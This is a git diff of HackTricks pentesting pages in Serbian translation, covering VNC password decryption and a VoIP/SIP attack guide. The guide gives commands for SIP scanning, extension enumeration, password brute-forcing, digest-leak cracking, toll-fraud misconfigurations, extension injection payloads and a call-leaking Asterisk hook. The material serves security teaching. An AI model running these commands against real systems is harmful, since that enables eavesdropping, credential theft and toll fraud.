**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -100,7 +104,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -15,6 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information ## Basic Information
**Virtual Network Computing (VNC)** je robusni sistem za deljenje grafičkog radnog stola koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže. **Virtual Network Computing (VNC)** je robusni sistem za deljenje grafičkog radnog stola koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
@ -44,9 +50,9 @@ Ako imate VNC lozinku i izgleda enkriptovano (nekoliko bajtova, kao da bi mogla
make make
vncpwd <vnc password file> vncpwd <vnc password file>
``` ```
Možete to učiniti jer je lozinka korišćena unutar 3des za enkripciju običnih VNC lozinki obrnuta pre nekoliko godina.\ Možete to učiniti jer je lozinka koja se koristi unutar 3des za enkripciju običnih VNC lozinki obrnuta pre nekoliko godina.\
Za **Windows** možete takođe koristiti ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ Za **Windows** možete takođe koristiti ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Čuvam alat ovde takođe radi lakšeg pristupa: Ovdje takođe čuvam alat radi lakšeg pristupa:
{% file src="../.gitbook/assets/vncpwd.zip" %} {% file src="../.gitbook/assets/vncpwd.zip" %}
@ -54,6 +60,12 @@ Za **Windows** možete takođe koristiti ovaj alat: [https://www.raymond.cc/blog
* `port:5900 RFB` * `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -64,7 +76,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,9 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP Osnovne Informacije ## VoIP Osnovne Informacije
Da biste počeli da učite kako VoIP funkcioniše, proverite: To start learning about how VoIP works check:
{% content-ref url="basic-voip-protocols/" %} {% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/) [basic-voip-protocols](basic-voip-protocols/)
@ -204,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services # Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp] svmap 10.10.0.0/24 -p 5060-5070 [--fp]
``` ```
* **`SIPPTS skeniranje`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skeniranje je veoma brz skener za SIP usluge preko UDP, TCP ili TLS. Koristi više niti i može skenirati velike opsege mreža. Omogućava lako označavanje opsega portova, skeniranje i TCP i UDP, korišćenje druge metode (po defaultu će koristiti OPTIONS) i specificiranje različitog User-Agent-a (i još mnogo toga). * **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skener je veoma brz skener za SIP usluge preko UDP, TCP ili TLS. Koristi više niti i može skenirati velike opsege mreža. Omogućava lako označavanje opsega portova, skeniranje kako TCP tako i UDP, korišćenje druge metode (po defaultu će koristiti OPTIONS) i specificiranje različitog User-Agent-a (i još mnogo toga).
```bash ```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -240,7 +248,7 @@ sippts enumerate -i 10.10.0.10
``` ```
### Анализирање одговора сервера ### Анализирање одговора сервера
Веома је важно анализирати заглавља која сервер шаље назад, у зависности од типа поруке и заглавља која шаљемо. Са `SIPPTS send` из [**sippts**](https://github.com/Pepelux/sippts) можемо слати персонализоване поруке, манипулишући свим заглављима, и анализирати одговор. Веома је важно анализирати хедере које сервер враћа, у зависности од типа поруке и хедера које шаљемо. Са `SIPPTS send` из [**sippts**](https://github.com/Pepelux/sippts) можемо слати персонализоване поруке, манипулишући свим хедерима, и анализирати одговор.
```bash ```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
``` ```
@ -250,9 +258,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
``` ```
### Extension Enumeration ### Extension Enumeration
Extensions in a PBX (Private Branch Exchange) system refer to the **jedinstveni interni identifikatori dodeljeni pojedinačnim** telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Extensions make it possible to **efikasno usmeravaju pozive unutar organizacije**, bez potrebe za pojedinačnim spoljnim brojevima telefona za svakog korisnika ili uređaj. Ekstenzije u PBX (Privatna centralna stanica) sistemu se odnose na **jedinstvene interne identifikatore dodeljene pojedinačnim** telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Ekstenzije omogućavaju **efikasno usmeravanje poziva unutar organizacije**, bez potrebe za pojedinačnim spoljnim brojevima telefona za svakog korisnika ili uređaj.
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar` is a free SIP PBX extension line scanner. In concept it works similar to traditional wardialers by **pogađanjem opsega ekstenzija ili datog spiska ekstenzija**. * **`svwar`** iz SIPVicious (`sudo apt install sipvicious`): `svwar` je besplatan SIP PBX ekstenzijski skener. U konceptu funkcioniše slično tradicionalnim wardialer-ima tako što **pogađa opseg ekstenzija ili dati spisak ekstenzija**.
```bash ```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
``` ```
@ -265,7 +273,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
``` ```
* **`enumiax` (`apt install enumiax`): enumIAX** је Inter Asterisk Exchange протокол **бруте-форце енумератор корисничких имена**. enumIAX може радити у два различита режима; Секвенцијално Погађање Корисничког Имена или Напад Речником. * **`enumiax` (`apt install enumiax`): enumIAX** je Inter Asterisk Exchange protokol **alat za brute-force enumeraciju korisničkih imena**. enumIAX može raditi u dva različita režima; Sekvencijalno pogađanje korisničkog imena ili Napad rečnikom.
```bash ```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10 enumiax -v -m3 -M3 10.10.0.10
@ -287,7 +295,7 @@ Ako korisničko ime nije isto kao ekstenzija, moraćete da **otkrijete korisnič
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
``` ```
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack je daljinski alat za razbijanje lozinki za SIP usluge. Rcrack može testirati lozinke za nekoliko korisnika na različitim IP adresama i opsezima portova. * **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack je daljinski alat za probijanje lozinki za SIP usluge. Rcrack može testirati lozinke za nekoliko korisnika na različitim IP adresama i opsezima portova.
```bash ```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
``` ```
@ -297,14 +305,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing ### VoIP Sniffing
Ako pronađete VoIP opremu unutar **Open Wifi mreže**, mogli biste **sniff-ovati sve informacije**. Štaviše, ako ste unutar zatvorenije mreže (povezani putem Ethernet-a ili zaštićene Wifi mreže) mogli biste izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) između **PBX-a i gateway-a** kako biste sniff-ovali informacije. Ako pronađete VoIP opremu unutar **Open Wifi mreže**, mogli biste **sniff-ovati sve informacije**. Štaviše, ako ste unutar zatvorenije mreže (povezani putem Ethernet-a ili zaštićene Wifi) mogli biste izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) između **PBX-a i gateway-a** kako biste sniff-ovali informacije.
Među mrežnim informacijama, mogli biste pronaći **web akreditive** za upravljanje opremom, korisničke **ekstenzije**, **korisnička imena**, **IP** adrese, čak i **hashovane lozinke** i **RTP pakete** koje možete reprodukovati da **čujete razgovor**, i još mnogo toga. Među mrežnim informacijama, mogli biste pronaći **web akreditive** za upravljanje opremom, korisničke **ekstenzije**, **korisnička imena**, **IP** adrese, čak i **hashovane lozinke** i **RTP pakete** koje biste mogli reprodukovati da **čujete razgovor**, i još mnogo toga.
Da biste dobili ove informacije, mogli biste koristiti alate kao što su Wireshark, tcpdump... ali **posebno kreirani alat za sniff-ovanje VoIP razgovora je** [**ucsniff**](https://github.com/Seabreg/ucsniff). Da biste dobili ove informacije, mogli biste koristiti alate kao što su Wireshark, tcpdump... ali **posebno kreirani alat za sniff-ovanje VoIP razgovora je** [**ucsniff**](https://github.com/Seabreg/ucsniff).
{% hint style="danger" %} {% hint style="danger" %}
Imajte na umu da ako se **TLS koristi u SIP komunikaciji** nećete moći da vidite SIP komunikaciju u čistom obliku.\ Imajte na umu da ako se **TLS koristi u SIP komunikaciji** nećete moći videti SIP komunikaciju u čistom obliku.\
Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u čistom tekstu**. Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u čistom tekstu**.
{% endhint %} {% endhint %}
@ -312,7 +320,7 @@ Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u
[Pogledajte ovaj primer da bolje razumete **SIP REGISTER komunikaciju**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) da biste saznali kako se **akreditive šalju**. [Pogledajte ovaj primer da bolje razumete **SIP REGISTER komunikaciju**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) da biste saznali kako se **akreditive šalju**.
* **`sipdump`** & **`sipcrack`,** deo **sipcrack** (`apt-get install sipcrack`): Ovi alati mogu **izvući** iz **pcap**-a **digest autentifikacije** unutar SIP protokola i **bruteforce**-ovati ih. * **`sipdump`** & **`sipcrack`,** deo **sipcrack** (`apt-get install sipcrack`): Ovi alati mogu **izvući** iz **pcap** **digest autentifikacije** unutar SIP protokola i **bruteforce** ih.
```bash ```bash
sipdump -p net-capture.pcap sip-creds.txt sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt sipcrack sip-creds.txt -w dict.txt
@ -336,14 +344,14 @@ Moguće je poslati ove kodove u **INFO SIP porukama**, u **zvuku** ili unutar **
```bash ```bash
multimon -a DTMF -t wac pin.wav multimon -a DTMF -t wac pin.wav
``` ```
### Besplatni pozivi / Asterisks konekcije pogrešne konfiguracije ### Besplatni pozivi / Asterisks konekcije sa pogrešnim podešavanjima
U Asterisku je moguće omogućiti konekciju **sa određene IP adrese** ili **sa bilo koje IP adrese**: U Asterisku je moguće omogućiti konekciju **sa određenog IP adrese** ili sa **bilo koje IP adrese**:
``` ```
host=10.10.10.10 host=10.10.10.10
host=dynamic host=dynamic
``` ```
Ako je IP adresa specificirana, host **neće morati da šalje REGISTER** zahteve s vremena na vreme (u REGISTER paketu se šalje vreme trajanja, obično 30min, što znači da će u drugom scenariju telefon morati da REGISTER svakih 30min). Međutim, moraće da ima otvorene portove koji omogućavaju veze sa VoIP serverom za primanje poziva. Ako je IP adresa specificirana, host **neće morati da šalje REGISTER** zahteve s vremena na vreme (u REGISTER paketu se šalje vreme trajanja, obično 30min, što znači da će u drugom scenariju telefon morati da se REGISTER-uje svake 30min). Međutim, moraće da ima otvorene portove koji omogućavaju veze sa VoIP serverom za primanje poziva.
Da bi se definisali korisnici, mogu se definisati kao: Da bi se definisali korisnici, mogu se definisati kao:
@ -351,14 +359,14 @@ Da bi se definisali korisnici, mogu se definisati kao:
* **`type=friend`**: Moguće je obavljati pozive kao peer i primati ih kao korisnik (koristi se sa ekstenzijama) * **`type=friend`**: Moguće je obavljati pozive kao peer i primati ih kao korisnik (koristi se sa ekstenzijama)
* **`type=peer`**: Moguće je slati i primati pozive kao peer (SIP-trunks) * **`type=peer`**: Moguće je slati i primati pozive kao peer (SIP-trunks)
Takođe je moguće uspostaviti poverenje sa nesigurnom promenljivom: Takođe je moguće uspostaviti poverenje sa nesigurnom varijablom:
* **`insecure=port`**: Omogućava peer veze validirane IP-om. * **`insecure=port`**: Omogućava peer veze validirane IP-om.
* **`insecure=invite`**: Ne zahteva autentifikaciju za INVITE poruke * **`insecure=invite`**: Ne zahteva autentifikaciju za INVITE poruke
* **`insecure=port,invite`**: Oba * **`insecure=port,invite`**: Oba
{% hint style="warning" %} {% hint style="warning" %}
Kada se koristi **`type=friend`**, **vrednost** promenljive **host** **neće biti korišćena**, tako da ako administrator **pogrešno konfiguriše SIP-trunk** koristeći tu vrednost, **bilo ko će moći da se poveže na njega**. Kada se koristi **`type=friend`**, **vrednost** varijable **host** **neće biti korišćena**, tako da ako administrator **pogrešno konfiguriše SIP-trunk** koristeći tu vrednost, **bilo ko će moći da se poveže na njega**.
Na primer, ova konfiguracija bi bila ranjiva:\ Na primer, ova konfiguracija bi bila ranjiva:\
`host=10.10.10.10`\ `host=10.10.10.10`\
@ -366,7 +374,7 @@ Na primer, ova konfiguracija bi bila ranjiva:\
`type=friend` `type=friend`
{% endhint %} {% endhint %}
### Besplatni pozivi / Asterisk kontekst pogrešnih konfiguracija ### Besplatni Pozivi / Asterisk Kontekst Pogrešne Konfiguracije
U Asterisku, **kontekst** je imenovani kontejner ili sekcija u dijal planu koja **grupiše povezane ekstenzije, akcije i pravila**. Dijal plan je osnovna komponenta Asterisk sistema, jer definiše **kako se upravlja i usmerava dolaznim i odlaznim pozivima**. Konteksti se koriste za organizaciju dijal plana, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema. U Asterisku, **kontekst** je imenovani kontejner ili sekcija u dijal planu koja **grupiše povezane ekstenzije, akcije i pravila**. Dijal plan je osnovna komponenta Asterisk sistema, jer definiše **kako se upravlja i usmerava dolaznim i odlaznim pozivima**. Konteksti se koriste za organizaciju dijal plana, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema.
@ -399,10 +407,10 @@ Svako će moći da koristi **server za pozivanje na bilo koji drugi broj** (a ad
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
Štaviše, po defaultu, **`sip.conf`** datoteka sadrži **`allowguest=true`**, tako da **bilo koji** napadač bez **autentifikacije** će moći da pozove bilo koji drugi broj. Štaviše, po defaultu **`sip.conf`** datoteka sadrži **`allowguest=true`**, tako da će **bilo koji** napadač bez **autentifikacije** moći da pozove bilo koji drugi broj.
{% endhint %} {% endhint %}
* **`SIPPTS invite`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite proverava da li **PBX server dozvoljava da pravimo pozive bez autentifikacije**. Ako SIP server ima pogrešnu konfiguraciju, dozvoliće nam da pravimo pozive na spoljne brojeve. Takođe može da nam dozvoli da prebacimo poziv na drugi spoljni broj. * **`SIPPTS invite`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite proverava da li **PBX server dozvoljava da pravimo pozive bez autentifikacije**. Ako SIP server ima pogrešnu konfiguraciju, dozvoliće nam da pravimo pozive na spoljne brojeve. Takođe može da nam omogući da prebacimo poziv na drugi spoljni broj.
Na primer, ako vaš Asterisk server ima lošu konfiguraciju konteksta, možete prihvatiti INVITE zahtev bez autorizacije. U ovom slučaju, napadač može da pravi pozive ne znajući nijednog korisnika/lozinku. Na primer, ako vaš Asterisk server ima lošu konfiguraciju konteksta, možete prihvatiti INVITE zahtev bez autorizacije. U ovom slučaju, napadač može da pravi pozive ne znajući nijednog korisnika/lozinku.
@ -428,7 +436,7 @@ IVRS u VoIP sistemima obično se sastoji od:
4. **Prikupljanje korisničkih unosa**: Prikupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučajeva ili bilo koji drugi relevantni podaci. 4. **Prikupljanje korisničkih unosa**: Prikupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučajeva ili bilo koji drugi relevantni podaci.
5. **Integracija sa spoljnim sistemima**: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima za pristup ili ažuriranje informacija, izvršavanje radnji ili pokretanje događaja. 5. **Integracija sa spoljnim sistemima**: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima za pristup ili ažuriranje informacija, izvršavanje radnji ili pokretanje događaja.
U Asterisk VoIP sistemu, možete kreirati IVR koristeći plan biranja (**`extensions.conf`** datoteku) i razne aplikacije kao što su `Background()`, `Playback()`, `Read()`, i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisničke unose i kontrolišete tok poziva. U Asterisk VoIP sistemu, možete kreirati IVR koristeći dijal plan (**`extensions.conf`** datoteku) i razne aplikacije kao što su `Background()`, `Playback()`, `Read()`, i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisničke unose i kontrolišete tok poziva.
#### Primer ranjive konfiguracije #### Primer ranjive konfiguracije
```scss ```scss
@ -439,7 +447,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers}) exten => 0,104,Dial(LOCAL/${numbers})
``` ```
Prethodni je primer gde se korisniku traži da **pritisne 1 za poziv** u odeljenje, **2 za poziv** u drugo, ili **potpunu internu** ako je zna.\ Prethodni je primer gde se korisniku traži da **pritisne 1 za poziv** u odeljenje, **2 za poziv** u drugo, ili **potpunu internu** ako je zna.\
Ranljivost je u tome što se naznačena **dužina interne ne proverava, tako da korisnik može uneti 5 sekundi vremensko ograničenje za ceo broj i biće pozvan.** Ranljivost je u tome što se naznačena **dužina interne ne proverava, tako da korisnik može uneti 5-sekundni vremenski prekid i biće pozvan kompletan broj.**
### Umetanje interne ### Umetanje interne
@ -447,31 +455,31 @@ Korišćenje interne kao:
```scss ```scss
exten => _X.,1,Dial(SIP/${EXTEN}) exten => _X.,1,Dial(SIP/${EXTEN})
``` ```
Gde **`${EXTEN}`** je **ekstenzija** koja će biti pozvana, kada se **ext 101 uvede** ovo bi se desilo: Gde je **`${EXTEN}`** **ekstenzija** koja će biti pozvana, kada se **ext 101 uvede** ovo bi se desilo:
```scss ```scss
exten => 101,1,Dial(SIP/101) exten => 101,1,Dial(SIP/101)
``` ```
Međutim, ako **`${EXTEN}`** omogućava unos **više od brojeva** (kao u starijim verzijama Asteriska), napadač bi mogao uneti **`101&SIP123123123`** da pozove telefonski broj 123123123. I ovo bi bio rezultat: Međutim, ako **`${EXTEN}`** omogućava unos **više od brojeva** (kao u starijim verzijama Asteriska), napadač bi mogao uneti **`101&SIP123123123`** da bi pozvao telefonski broj 123123123. I ovo bi bio rezultat:
```scss ```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
``` ```
Zato, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo prvi koji primi poziv će biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo kakvo podudaranje** koje se vrši, ali ne postoji, mogao bi **injektovati poziv samo na željeni broj**. Zato, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi koji primi poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo kakvo podudaranje** koje se vrši, ali ne postoji, mogao bi **injektovati poziv samo na željeni broj**.
## SIPDigestLeak ranjivost ## SIPDigestLeak ranjivost
SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptore (VoIP na analogne). Ranjivost omogućava **curenje odgovora na Digest autentifikaciju**, koji se izračunava iz lozinke. **Offline napad na lozinku je tada moguć** i može povratiti većinu lozinki na osnovu odgovora na izazov. SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptore (VoIP na analogno). Ranjivost omogućava **curenje Digest autentifikacionog odgovora**, koji se izračunava iz lozinke. **Offline napad na lozinku je tada moguć** i može povratiti većinu lozinki na osnovu odgovora na izazov.
**[Scenarijo ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): **[Scenario ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvatajući telefonske pozive 1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvatajući telefonske pozive
2. Napadač šalje INVITE IP telefonu 2. Napadač šalje INVITE IP telefonu
3. Telefon žrtve počinje da zvoni i neko podiže slušalicu i odmah je spušta (jer se niko ne javlja na drugom kraju) 3. Telefon žrtve počinje da zvoni i neko podiže slušalicu i odmah je spušta (jer niko ne odgovara na telefonu na drugom kraju)
4. Kada se telefon spusti, **telefon žrtve šalje BYE napadaču** 4. Kada se telefon spusti, **telefon žrtve šalje BYE napadaču**
5. **Napadač izdaje 407 odgovor** koji **traži autentifikaciju** i postavlja izazov za autentifikaciju 5. **Napadač izdaje 407 odgovor** koji **traži autentifikaciju** i postavlja izazov za autentifikaciju
6. **Telefon žrtve daje odgovor na izazov za autentifikaciju** u drugom BYE 6. **Telefon žrtve pruža odgovor na izazov za autentifikaciju** u drugom BYE
7. **Napadač može zatim da izvede brute-force napad** na odgovor na izazov na svom lokalnom računaru (ili distribuiranoj mreži itd.) i pogodi lozinku 7. **Napadač može zatim izvršiti napad silom** na odgovor na izazov na svom lokalnom računaru (ili distribuiranoj mreži itd.) i pogoditi lozinku
* **SIPPTS leak** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak koristi ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u SipCrack formatu kako bi se bruteforce-ovao koristeći SIPPTS dcrack ili SipCrack alat. * **SIPPTS curenje** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS curenje koristi ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u SipCrack formatu kako bi se izvršio bruteforce koristeći SIPPTS dcrack ili alat SipCrack.
```bash ```bash
sippts leak -i 10.10.0.10 sippts leak -i 10.10.0.10
@ -494,7 +502,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
``` ```
### Click2Call ### Click2Call
Click2Call omogućava **web korisniku** (koji, na primer, može biti zainteresovan za proizvod) da **unesu** svoj **broj telefona** kako bi bio pozvan. Zatim će biti pozvan komercijal, a kada **podigne slušalicu**, korisnik će biti **pozvan i povezan sa agentom**. Click2Call omogućava **web korisniku** (koji, na primer, može biti zainteresovan za proizvod) da **unesu** svoj **broj telefona** kako bi primili poziv. Zatim će biti pozvan komercijalista, a kada **podigne slušalicu**, korisnik će biti **pozvan i povezan sa agentom**.
Uobičajeni Asterisk profil za ovo je: Uobičajeni Asterisk profil za ovo je:
```scss ```scss
@ -540,7 +548,7 @@ exten => _X.,2,MixMonitor(${NAME})
Pozivi će biti sačuvani u **`/tmp`**. Pozivi će biti sačuvani u **`/tmp`**.
Takođe možete čak naterati Asterisk da **izvrši skriptu koja će otkriti poziv** kada se zatvori. Takođe možete naterati Asterisk da **izvrši skriptu koja će otkriti poziv** kada se zatvori.
```scss ```scss
exten => h,1,System(/tmp/leak_conv.sh &) exten => h,1,System(/tmp/leak_conv.sh &)
``` ```
@ -548,19 +556,19 @@ exten => h,1,System(/tmp/leak_conv.sh &)
